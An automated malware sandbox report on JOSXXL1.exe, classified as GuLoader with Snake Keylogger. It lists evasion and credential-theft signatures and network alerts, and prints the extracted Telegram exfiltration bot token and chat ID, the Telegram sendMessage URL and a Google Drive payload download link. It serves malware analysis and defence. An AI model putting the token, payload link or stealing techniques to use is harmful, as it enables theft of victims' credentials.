Edit tour

Windows Analysis Report
JOSXXL1.exe

Overview

General Information

Sample name:	JOSXXL1.exe
Analysis ID:	1542950
MD5:	fb24966daab46af066a7b7c041236de9
SHA1:	391bb0f3da952bbbf14b61b7f6c01175344be882
SHA256:	8e5d0c237ba87f5b445c7edcf6d5ea6071fb873c64b6431f4f98527461aac37d
Tags:	exeuser-threatcat_ch
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

JOSXXL1.exe (PID: 5316 cmdline: "C:\Users\user\Desktop\JOSXXL1.exe" MD5: FB24966DAAB46AF066A7B7C041236DE9)

JOSXXL1.exe (PID: 3492 cmdline: "C:\Users\user\Desktop\JOSXXL1.exe" MD5: FB24966DAAB46AF066A7B7C041236DE9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7511877228:AAEfdtsXiYLhmN4YbL4GOCHPaqlvykB-alc", "Chat_id": "7534008929", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2971397294.0000000037555000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2971397294.0000000037451000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2321723084.000000000890B000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: JOSXXL1.exe PID: 3492	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: JOSXXL1.exe PID: 3492	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T23:57:21.167832+0200	2803305	3	Unknown Traffic	192.168.2.4	61902	188.114.96.3	443	TCP
2024-10-26T23:57:22.626862+0200	2803305	3	Unknown Traffic	192.168.2.4	61913	188.114.96.3	443	TCP
2024-10-26T23:57:24.129743+0200	2803305	3	Unknown Traffic	192.168.2.4	61922	188.114.96.3	443	TCP
2024-10-26T23:57:25.708387+0200	2803305	3	Unknown Traffic	192.168.2.4	61933	188.114.96.3	443	TCP
2024-10-26T23:57:27.148944+0200	2803305	3	Unknown Traffic	192.168.2.4	61945	188.114.96.3	443	TCP
2024-10-26T23:57:31.552767+0200	2803305	3	Unknown Traffic	192.168.2.4	61976	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T23:57:18.573757+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	61886	193.122.130.0	80	TCP
2024-10-26T23:57:20.417495+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	61886	193.122.130.0	80	TCP
2024-10-26T23:57:21.890371+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	61908	193.122.130.0	80	TCP
2024-10-26T23:57:23.355007+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	61919	193.122.130.0	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T23:57:11.745999+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	61847	142.250.185.238	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 26 Oct 2024 21:57:32 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: JOSXXL1.exe, 00000004.00000003.2471629134.0000000007036000.00000004.00000020.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.coj
Source: JOSXXL1.exe, 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmp, JOSXXL1.exe, 00000000.00000000.1674444309.000000000040A000.00000008.00000001.01000000.00000003.sdmp, JOSXXL1.exe, 00000004.00000000.2315337300.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: JOSXXL1.exe, 00000004.00000003.2471629134.0000000007036000.00000004.00000020.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: JOSXXL1.exe, 00000004.00000002.2971397294.0000000037531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: JOSXXL1.exe, 00000004.00000002.2971397294.0000000037531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: JOSXXL1.exe, 00000004.00000002.2971397294.0000000037531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: JOSXXL1.exe, 00000004.00000002.2971397294.0000000037531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:447849%0D%0ADate%20a
Source: JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: JOSXXL1.exe, 00000004.00000002.2971397294.000000003760E000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.000000003763F000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.0000000037555000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: JOSXXL1.exe, 00000004.00000002.2971397294.0000000037609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlBkq
Source: JOSXXL1.exe, 00000004.00000002.2943116609.0000000006FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: JOSXXL1.exe, 00000004.00000002.2943116609.0000000006FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/a
Source: JOSXXL1.exe, 00000004.00000002.2943553869.00000000089C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1TQCyESnrOdUT1AguOSyvjh_GMhxmIcz2
Source: JOSXXL1.exe, 00000004.00000003.2471464803.0000000007070000.00000004.00000020.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2943116609.000000000702F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: JOSXXL1.exe, 00000004.00000003.2471629134.0000000007036000.00000004.00000020.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2943116609.000000000702F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/1
Source: JOSXXL1.exe, 00000004.00000003.2471629134.0000000007036000.00000004.00000020.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2943116609.000000000701D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1TQCyESnrOdUT1AguOSyvjh_GMhxmIcz2&export=download
Source: JOSXXL1.exe, 00000004.00000003.2471629134.0000000007036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1TQCyESnrOdUT1AguOSyvjh_GMhxmIcz2&export=downloads-
Source: JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: JOSXXL1.exe, 00000004.00000002.2971397294.0000000037531000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.000000003749B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: JOSXXL1.exe, 00000004.00000002.2971397294.000000003749B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: JOSXXL1.exe, 00000004.00000002.2971397294.000000003749B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.68
Source: JOSXXL1.exe, 00000004.00000002.2971397294.00000000374C5000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.000000003750B000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.0000000037531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.68$
Source: JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: JOSXXL1.exe, 00000004.00000002.2972706874.0000000038573000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.00000000386C9000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.0000000037555000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038525000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.000000003859A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: JOSXXL1.exe, 00000004.00000002.2972706874.00000000386CF000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038500000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.00000000387A7000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038575000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.000000003852B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: JOSXXL1.exe, 00000004.00000002.2972706874.0000000038573000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.00000000386C9000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.0000000037555000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038525000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.000000003859A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: JOSXXL1.exe, 00000004.00000002.2972706874.00000000386CF000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038500000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.00000000387A7000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.0000000038575000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2972706874.000000003852B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: JOSXXL1.exe, 00000004.00000002.2972706874.0000000038717000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: JOSXXL1.exe, 00000004.00000003.2418443538.0000000007036000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: JOSXXL1.exe, 00000004.00000002.2971397294.000000003763F000.00000004.00000800.00020000.00000000.sdmp, JOSXXL1.exe, 00000004.00000002.2971397294.0000000037555000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: JOSXXL1.exe, 00000004.00000002.2971397294.000000003763A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lBkq

Source: unknown	Network traffic detected: HTTP traffic on port 61902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61922
Source: unknown	Network traffic detected: HTTP traffic on port 61854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61981
Source: unknown	Network traffic detected: HTTP traffic on port 61976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61952
Source: unknown	Network traffic detected: HTTP traffic on port 61964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61913
Source: unknown	Network traffic detected: HTTP traffic on port 61922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61896

Source: unknown	HTTPS traffic detected: 142.250.185.238:443 -> 192.168.2.4:61847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.4:61854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:61981 version: TLS 1.2

Source: C:\Users\user\Desktop\JOSXXL1.exe

Code function: 0_2_00405421 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405421

Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 0_2_004033B6 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004033B6
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_004033B6 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004033B6

Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 0_2_00406847	0_2_00406847
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 0_2_00404C5E	0_2_00404C5E
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_00406847	4_2_00406847
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_00404C5E	4_2_00404C5E
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_0015C19B	4_2_0015C19B
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_0015D278	4_2_0015D278
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_00155362	4_2_00155362
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_0015C468	4_2_0015C468
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_0015C738	4_2_0015C738
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_0015E988	4_2_0015E988
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_001569A0	4_2_001569A0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_001529E0	4_2_001529E0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_0015CA08	4_2_0015CA08
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_0015CCD8	4_2_0015CCD8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_00159DE0	4_2_00159DE0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_0015CFAC	4_2_0015CFAC
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_00156FC8	4_2_00156FC8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_0015E97C	4_2_0015E97C
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_0015F961	4_2_0015F961
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_00153E09	4_2_00153E09
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39692968	4_2_39692968
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39699548	4_2_39699548
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969FC68	4_2_3969FC68
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39695028	4_2_39695028
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_396917A0	4_2_396917A0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39691E80	4_2_39691E80
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969D540	4_2_3969D540
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969D550	4_2_3969D550
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969DDFF	4_2_3969DDFF
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969DDF1	4_2_3969DDF1
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969D9A8	4_2_3969D9A8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969D999	4_2_3969D999
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39690040	4_2_39690040
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969F802	4_2_3969F802
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39690006	4_2_39690006
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39699C18	4_2_39699C18
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39695018	4_2_39695018
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969F810	4_2_3969F810
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969D0F8	4_2_3969D0F8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969CCA0	4_2_3969CCA0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969EF60	4_2_3969EF60
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969EF51	4_2_3969EF51
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39690B20	4_2_39690B20
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39690B30	4_2_39690B30
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969EB08	4_2_3969EB08
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39698BA0	4_2_39698BA0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969F3B8	4_2_3969F3B8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969178F	4_2_3969178F
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39691E70	4_2_39691E70
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969E24A	4_2_3969E24A
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969E258	4_2_3969E258
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969DE00	4_2_3969DE00
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969EAF8	4_2_3969EAF8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969E6AF	4_2_3969E6AF
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969E6A0	4_2_3969E6A0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3969E6B0	4_2_3969E6B0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D781D0	4_2_39D781D0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D78FB0	4_2_39D78FB0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D77B78	4_2_39D77B78
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D76030	4_2_39D76030
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D7E9D8	4_2_39D7E9D8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D75BD8	4_2_39D75BD8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D7C9D8	4_2_39D7C9D8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D7E9C8	4_2_39D7E9C8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D72FF9	4_2_39D72FF9
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D715F8	4_2_39D715F8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D7C9E8	4_2_39D7C9E8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D715E8	4_2_39D715E8
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D7D798	4_2_39D7D798
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D7B798	4_2_39D7B798
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D7D787	4_2_39D7D787
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D75780	4_2_39D75780
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D7F788	4_2_39D7F788
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D72BB0	4_2_39D72BB0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D78FA1	4_2_39D78FA1
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D711A0	4_2_39D711A0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D72BA0	4_2_39D72BA0
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D72BAF	4_2_39D72BAF
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_39D781AA	4_2_39D781AA
